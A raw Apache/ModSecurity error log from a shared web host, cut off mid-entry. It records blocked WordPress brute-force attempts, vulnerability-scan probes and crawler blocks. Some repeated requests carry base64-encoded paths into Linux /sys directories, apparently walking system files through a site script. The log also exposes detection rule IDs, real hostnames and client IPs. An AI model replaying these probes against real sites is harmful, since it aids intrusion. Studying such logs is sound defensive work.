https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:45.827795 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.102:41573] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:45.828076 2026] [access_compat:error] [pid 715691:tid 715772] [remote 57.141.14.102:41573] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:45.843155 2026] [security2:error] [pid 648189:tid 648362] [client 172.56.168.133:51977] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30GVWSojQL4F7upKCNsAAAAI4"] [Sat Jun 13 18:21:45.843327 2026] [security2:error] [pid 648189:tid 648362] [client 172.56.168.133:51977] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30GVWSojQL4F7upKCNsAAAAI4"] [Sat Jun 13 18:21:45.976141 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.30:27304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:45.976618 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.30:27304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:46.123526 2026] [security2:error] [pid 646876:tid 647110] [client 210.217.96.217:22836] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30GtyTkdrNlD40tSHIzAAAAGY"] [Sat Jun 13 18:21:46.123688 2026] [security2:error] [pid 646876:tid 647110] [client 210.217.96.217:22836] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30GtyTkdrNlD40tSHIzAAAAGY"] [Sat Jun 13 18:21:46.208109 2026] [security2:error] [pid 715691:tid 715778] [remote 17.241.219.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30GrV-dFiaX9AtWiQVcAABfEM"] [Sat Jun 13 18:21:46.295085 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL21vZHVsZQ== [Sat Jun 13 18:21:46.295497 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL21vZHVsZQ== [Sat Jun 13 18:21:46.460393 2026] [security2:error] [pid 715691:tid 715949] [client 114.119.138.67:56703] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "performingartsonmain.com"] [uri "/robots.txt"] [unique_id "ai30GrV-dFiaX9AtWiQVdgAAAXY"], referer: http://performingartsonmain.com/robots.txt [Sat Jun 13 18:21:46.525472 2026] [mime:warn] [pid 715691:tid 715785] AH01602: Cannot get media parameter. [Sat Jun 13 18:21:46.713311 2026] [security2:error] [pid 648189:tid 648334] [remote 17.22.253.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30GlWSojQL4F7upKCNuQAA-m8"] [Sat Jun 13 18:21:46.818418 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:21:46.818707 2026] [access_compat:error] [pid 646876:tid 646915] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:21:47.016387 2026] [security2:error] [pid 646876:tid 646996] [remote 17.22.253.88:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 88.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30GtyTkdrNlD40tSHI4gAAR3U"] [Sat Jun 13 18:21:47.072901 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.33:62405] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:47.073171 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.33:62405] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:47.340461 2026] [security2:error] [pid 715691:tid 715805] [remote 17.246.15.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30G7V-dFiaX9AtWiQViwABTF4"] [Sat Jun 13 18:21:47.354217 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvaWQ= [Sat Jun 13 18:21:47.354691 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvaWQ= [Sat Jun 13 18:21:47.538923 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.48:50903] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:47.539193 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.48:50903] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:47.824472 2026] [security2:error] [pid 715691:tid 715812] [remote 17.241.75.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30G7V-dFiaX9AtWiQVkwABcmU"] [Sat Jun 13 18:21:47.891719 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:21:47.892195 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:21:48.122835 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.77:44811] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:48.123157 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.77:44811] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:48.162259 2026] [access_compat:error] [pid 715691:tid 715813] [remote 57.141.14.31:37560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:48.162541 2026] [access_compat:error] [pid 715691:tid 715813] [remote 57.141.14.31:37560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:48.390271 2026] [security2:error] [pid 648189:tid 648290] [remote 17.241.227.42:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HFWSojQL4F7upKCNywAA-0Q"] [Sat Jun 13 18:21:48.397934 2026] [security2:error] [pid 715691:tid 715818] [remote 67.20.76.56:23402] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 56.76.20.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ambeault.net"] [uri "/wp-login.php"] [unique_id "ai30HLV-dFiaX9AtWiQVnAABhms"] [Sat Jun 13 18:21:48.466677 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:21:48.467131 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:21:48.499872 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.29:46939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:48.500157 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.29:46939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:48.677223 2026] [security2:error] [pid 715691:tid 715819] [remote 17.22.253.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HLV-dFiaX9AtWiQVoQABQWw"] [Sat Jun 13 18:21:48.712029 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.16:59068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:48.712333 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.16:59068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:48.781674 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.27:38662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:48.782143 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.27:38662] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:48.866426 2026] [security2:error] [pid 715691:tid 715827] [remote 17.22.237.17:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HLV-dFiaX9AtWiQVpgABLXQ"] [Sat Jun 13 18:21:48.899034 2026] [access_compat:error] [pid 715691:tid 715828] [remote 57.141.14.34:36212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:48.899480 2026] [access_compat:error] [pid 715691:tid 715828] [remote 57.141.14.34:36212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:48.960740 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:21:48.961198 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:21:49.049924 2026] [security2:error] [pid 646876:tid 647048] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/Zend/tests/bug50005.phpt"] [unique_id "ai30HdyTkdrNlD40tSHJFQAAACg"], referer: https://mail.goldensnifferproducts.com/php52/Zend/tests/bug50005.phpt [Sat Jun 13 18:21:49.237349 2026] [security2:error] [pid 715691:tid 715833] [remote 198.177.120.121:54336] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.120.177.198.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai30HbV-dFiaX9AtWiQVqQABSXo"] [Sat Jun 13 18:21:49.358302 2026] [security2:error] [pid 715691:tid 715829] [remote 17.246.19.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30HbV-dFiaX9AtWiQVqgABJXY"] [Sat Jun 13 18:21:49.455199 2026] [security2:error] [pid 648189:tid 648239] [remote 78.144.74.206:0] ModSecurity: Warning. Pattern match 